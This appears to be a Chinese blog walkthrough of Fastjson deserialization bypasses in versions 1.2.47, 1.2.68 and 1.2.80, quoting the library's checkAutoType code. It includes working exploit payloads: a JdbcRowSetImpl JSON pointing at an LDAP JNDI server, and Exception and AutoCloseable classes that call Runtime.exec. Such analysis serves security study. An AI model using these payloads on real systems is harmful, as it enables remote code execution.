这里的cache参数在1.2.47及之前版本默认是为true的,我们往上分析一下需要怎么调用到这里来
image.png
首先clazz需要等于Class类
image.png
clazz为我们传入的参数,接着再看一下这里的strVal怎么赋值的,怎么控制他为JdbcRowSetImpl
image.png
image.png
这里发现是直接等于objVal的字符串值,接着又分析一下objVal
image.png
从这里我们可以知道他是直接解析的val这个参数的值,并且从这里我们也知道了这个MiscCode类就是用来反序列化一些基础类型的类的反序列化器,比如处理这里的class对象
也就是说我们传入一个"@type":"java.lang.Class"他就会使用MiscCode的deserialize处理器进行处理,并且他会将val属性传入loadClass里面进行加载,然后我们利用1.2.47之前版本默认会将加载过的类写入mapping缓存中,等下一次我们再加载的时候就能够在黑名单检测之前直接获取到恶意类对象。那为什么这里都loadClass恶意类了不能直接就在这利用呢,很明显这里直接加载类不能够该类进行实例化以及赋属性值更别说调用getter或者setter了,真正利用还是得用之前的payload

调试

这里我们利用缓存绕过的原理以及分析完了,就只需要在之前payload前面加一个

1
2
3
4
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}

他就会写入缓存,现在我们将整个流程调试一遍
image.png
首先是解析Class的时候调用checkAutoType
image.png
image.png
然后在findCLass获取到了Class的反序列化器为MiscCode
image.png
这里面的值是在initDeserializers方法里面put的
image.png
image.png
接着步出到parseObject这里看一下他们解析后面的val的
image.png
image.png
image.png
这里通过getDeserializer获取到了MiscCode反序列化器,同样也是在那个IdentityHashMap里面get到的,跟checkType的逻辑一样
image.png
接着就进入到MiscCode里面处理Class类对象了
image.png
首先判断是否为TypeNameRedirect即判断当前解析器的状态是否为TypeNameRedirect,否则就直接parser.parse()获取objVal的值了
image.png
这里提取冒号到右花括号之间的字符串值,成功获取到val
image.png
image.png
然后转换成字符串值
image.png
接着经过一堆if判断走到Class的处理逻辑这里,调用TypeUtils.loadClass加载strVal的值也就是com.sun.rowset.JdbcRowSetImpl类
image.png
然后通过合适的类加载器加载之后写入mapping缓存中
image.png
然后回到最开始的地方,返回了一个com.sun.rowset.JdbcRowSetImpl的Class对象
接着开始解析后半段payload

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit":true
}

image.png
同样的进入checkAutoType
image.png
因为没有开启autoType所以直接从第二部分开始运行
image.png
然后直接就在TypeUtils.getClassFromMapping()里面获取到了com.sun.rowset.JdbcRowSetImpl类对象
image.png
直接就return了
image.png
然后就开始解析该对象,调用任意getter和setter,后面的流程就不需要跟了,在前面写过

1.2.68补丁绕过

1.2.48版本就修改了默认cache为false,不让直接缓存绕过了 ,后面这些版本就只能开启autoType找各个不在黑名单的类进行绕过,大部分都需要依赖组件,中间这一部分的黑名单对抗史就不在这篇文章分析了

补丁分析

image.png
可以看到在1.2.68引入了一个safemode功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}

if (autoTypeCheckHandlers != null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}

final int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode
|| (features & safeModeMask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}

if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

String className = typeName.replace('$', '.');
Class<?> clazz;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

long fullHash = TypeUtils.fnv1a_64(className);
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;

if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
}

throw new JSONException("autoType is not support. " + typeName);
}
}
}

clazz = TypeUtils.getClassFromMapping(typeName);

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz == null) {
clazz = typeMapping.get(typeName);
}

if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);
}

final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}

return clazz;
}

可以看到这里safemode模式只要开启里就直接抛出异常了,没有操作空间,但是也就相对的不能解析@type字段了,看需求开启,默认在80之前版本是关闭的
image.png
并且这里MiscCodec的反序列化器这里直接加载缓存cache为false,所以不能使用之前的缓存绕过了
接着继续分析一下checkAutoType里面返回type的方法
image.png
首先可以使用autoTypeCheckHandlers这个新的类
image.png
第二处也就是mapping缓存绕过,这里面这有一些基础的class类
image.png
第三处白名单,这个没什么好说的
image.png
第四处读取对应的class,并判断是否有JsonType注解类
image.png
然后就加载进缓存并返回clazz
image.png
最后也就是这里我们需要使用的绕过方法expertClass预期类,这里需要使expectClassFlag为true才能给你加载进来
image.png
并且这里要想让expectClassFlag为true的话expertClass不能为以上这几个类的子类
所以如果没有开AutoType的话只能想办法找白名单或者expertClass预期类

image.png

Throwable绕过

image.png
接着我们搜索以下哪里调用checkAutoType的 时候传入了expertClass了的,这里可以发现在ThrowableDeserializer这个反序列化器里面传入了Throwable.class作为expertClass,这个我们可以知道是Exception的父类
image.png
image.png
同样这里在最开始第一次加载@type:"java.lang.Exception"的时候就直接从缓存mapping里面取到了,前面分析过这里面会内置一下常见的class,接着就直接返回了clazz不会进入后面的黑名单判断
image.png
第二反序列化的时候就带着对应的expectClass参数了
image.png
这里判断通过expectClassFlag为true
image.png
最后这里因为有了expectClassFlag所以成功加载了恶意基础了Throwable的类,然后在后面顺理成章的return了出来
image.png
接着处理完之后就会处理这三个属性,最后再处理otherValues
image.png
最后调用createException方法创建Exception对象
image.png
最后通过反射给前面create创建的Exception对象赋值
所以这里我们可以知道,他默认会执行构造函数,会根据构造器的参数类型选择不同的方式进行构造
image.png
所以我们构造以下恶意Exception对象,在构造函数里面传入参数进行rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package fastjson;

import java.io.IOException;

public class evilThrow extends Exception{

public evilThrow(String message) throws Exception {
try {
Runtime.getRuntime().exec(message);
} catch (IOException e) {
e.getMessage();
}

}

}

String payload = "{\"@type\":\"java.lang.Exception\",\"@type\":\"fastjson.evilThrow\",\"message\":\"calc\"}";
JSON.parse(payload);

image.png
当然不适用构造方法直接使用getter方法如getMessage也是一样能利用的,比较fastjson我们最常见的就是调用getter

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package fastjson;

import java.io.IOException;

public class evilThrow extends Exception{

public evilThrow(String message) throws Exception {
try {
Runtime.getRuntime().exec(message);
} catch (IOException e) {
e.getMessage();
}

}

}

1
2
3
4
5
6
7
8
9
10
11
package fastjson;

import com.alibaba.fastjson.JSON;

public class exp5 {
public static void main(String[] args){
String payload = "{\"@type\":\"java.lang.Exception\",\"@type\":\"fastjson.evilThrow\",\"message\":\"calc\"}";
JSON.parse(payload);
}
}

AutoCloseable

除了throwable.class这里能够作为expertClass传入以外,这里还有一个存在于mapping中并且不在黑名单外的类能够作为expectClass传入
image.png
通过搜索我们可以发现javabean里面也会传入expectClass,这里还有一处是parseconfig的也调用不到不在我们考虑范围内,我们跟进一下这个javabean的反序列化器关于expectclass相关的部分,其实这个反序列化器对于我们来说一句非常熟悉了
image.png
image.png
一处在deserialzeArrayMapping另外一处在deserialize,这两个地方代码是一样的,我们直接看常规处理器deserialize部分
image.png
接着我们找到一个mapping里面存在的接口并且使用的javabean反序列化处理器的类java.lang.AutoCloseable
image.png
接着同样跟进分析一下checkAutoType
image.png
可以看到这个接口是满足条件的,即不在那几个黑名单接口里面,使得expectClassFlag为true,后面的流程我们猜也能猜到了
image.png
后面就是调用恶意autoclose类的构造方法了
image.png
另外这种绕过方式需要我们自己寻找gadget,即满足上述接口并且对应类的构造方法或者getter或setter有能够利用的sink点的类就能够利用,比如说autoclose这里一般用于资源的自动关闭,可以往写文件类outputstream的方向找,这里只提供一个思路,具体的利用将在另外一篇文章讲解,这篇只分析绕过

payload

1
2
3
4
5
6
7
8
9
10
11
package fastjson;

import com.alibaba.fastjson.JSON;

public class exp4 {
public static void main(String[] args){
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"fastjson.evilAutoClose\",\"cmd\":\"calc\"}";
JSON.parse(payload);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package fastjson;

import java.io.IOException;

public class evilAutoClose implements AutoCloseable {
public evilAutoClose(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}

@Override
public void close() throws Exception {

}
}

1.2.80

补丁分析

这里补丁直接加入了java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable这三个黑名单,限制了expectClass能够使用的类

image.png

所以这里只能使用throwable这个接口来绕过了,原理还是和1.2.68原理一样所以这里不做分析了,等另外一篇文章总结payload

参考链接

https://xz.aliyun.com/t/12096 (一般)
https://xz.aliyun.com/t/13386 (上篇,比较适合没有基础的,分析得巨详细)
https://xz.aliyun.com/t/13409 (下篇)
https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ (文章写得很好)
https://xz.aliyun.com/t/14872 (总结得很好)
https://www.cnblogs.com/tr1ple/p/13489260(1.2.68绕过那一块)